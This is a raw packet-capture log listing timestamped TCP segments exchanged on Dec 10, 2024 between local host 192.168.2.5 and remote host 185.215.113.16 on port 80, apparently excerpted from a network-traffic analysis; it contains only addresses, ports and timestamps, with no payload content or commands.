Dec 10, 2024 05:10:19.973016977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.973050117 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.974729061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.974775076 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.974821091 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.976485014 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.976535082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.976622105 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.976670027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.978220940 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.978341103 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.978389025 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.979942083 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.980046034 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.980092049 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.981652975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.981784105 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.981847048 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.983392954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.983438969 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.983474016 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.985004902 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.985052109 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.985081911 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.986627102 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.986685991 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.986742973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.986788988 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.988286018 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.988406897 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.988456964 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.989847898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.989948988 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.989988089 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.991444111 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.991487980 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.991552114 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.993030071 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.993092060 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.993102074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.993146896 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.994564056 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.994693995 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.994740009 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.996123075 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.996232033 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.996278048 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.997673035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.997756004 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.997792959 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.999172926 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.999232054 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.999270916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.000674963 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.000718117 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.000760078 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.001054049 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.002156019 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.002299070 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.002342939 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.003648996 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.003762007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.003828049 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.005104065 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.005143881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.005223036 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.005312920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.006546021 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.006592035 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.006652117 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.006695986 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.008027077 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.008073092 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.008153915 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.008199930 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.009474993 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.009587049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.009624958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.010883093 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.010999918 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.011059999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.012290955 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.012470007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.012514114 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.013704062 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.013818026 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.013875008 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.015125036 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.015172958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.015207052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.016532898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.016580105 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.016635895 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.017257929 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.017940998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.018071890 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.018120050 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.019355059 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.019474983 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.019520998 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.020765066 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.020822048 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.020857096 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.021081924 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.022207022 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.022258043 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.022291899 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.022336006 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.023607016 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.023654938 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.023701906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.023746014 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.025021076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.025067091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.025151968 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.026428938 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.026482105 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.026530981 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.027889967 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.027937889 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.027976036 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.028021097 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.029246092 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.029407024 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.029426098 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.029447079 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.030685902 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.030728102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.030770063 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.030807972 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.032079935 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.032125950 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.032160044 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.032203913 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.033555031 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.033652067 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.033698082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.034919977 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.035103083 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.035145998 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.036314964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.036365986 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.036434889 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.037141085 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.037745953 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.037796021 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.037838936 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.037880898 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.039567947 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.039583921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.039612055 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.039628983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.040555954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.040601015 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.040648937 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.040692091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.042098045 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.042176008 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.042627096 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.042680025 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.043389082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.043494940 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.043534040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.044871092 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.045058012 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.045103073 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.046207905 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.046334982 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.046385050 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.047636986 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.047687054 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.047734976 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.049004078 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.049048901 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.162919998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.163029909 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.163079977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.163110971 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.163383961 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.163503885 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.163552046 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.164489985 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.164635897 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.164684057 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.165554047 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.165604115 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.165657043 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.166634083 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.166737080 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.166796923 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.167714119 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.167841911 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.167897940 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.168766975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.168816090 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.168863058 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.169832945 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.169877052 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.169950962 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.170888901 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.170933962 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.171019077 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.171058893 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.171936035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.172046900 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.172100067 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.172986031 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.173116922 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.173167944 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.174031973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.174076080 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.174154997 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.175052881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.175151110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.175192118 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.175232887 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.175271034 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.176145077 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.176188946 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.176255941 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.176295042 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.177299976 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.177341938 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.177382946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.178241968 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.178284883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.178354979 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.179052114 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.179286957 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.179404974 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.179447889 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.180362940 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.180454016 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.180505991 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.181585073 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.181631088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.181638002 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.181880951 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.182446957 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.182492971 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.182532072 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.182589054 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.183473110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.183612108 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.183660030 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.184556007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.184681892 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.184731007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.185579062 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.185626984 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.185695887 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.186655998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.186702967 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.186743021 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.187060118 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.187695980 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.187803030 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.187851906 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.188740969 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.188854933 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.188898087 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.189791918 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.189838886 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.189904928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.190834999 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.190880060 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.190936089 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.191056967 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.191898108 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.192023039 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.192070007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.192949057 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.193084955 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.193129063 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.194009066 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.194061041 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.194120884 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.195064068 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.195070982 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.195111036 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.195151091 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.195197105 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.196134090 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.196181059 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.196248055 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.196291924 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.197139025 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.197211981 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.197248936 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.197287083 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.198218107 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.198326111 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.198374033 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.199237108 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.199348927 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.199400902 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.200278997 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.200326920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.200392962 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.201334953 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.201385975 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.201441050 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.202366114 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.202409029 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.202497959 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.202542067 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.203465939 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.203588009 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.203632116 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.204515934 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.204627991 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.204691887 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.205529928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.205579996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.205638885 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.206590891 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.206636906 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.206687927 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.207057953 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.207658052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.208007097 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.208058119 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.208678007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.208825111 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.208870888 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.209764004 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.209810019 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.209856033 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.210769892 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.210818052 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.210875988 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.211057901 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.211899996 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.212044954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.212094069 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.213089943 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.213242054 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.213290930 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.213934898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.213989019 CET	49855	80	192.168.2.5	185.215.113.16
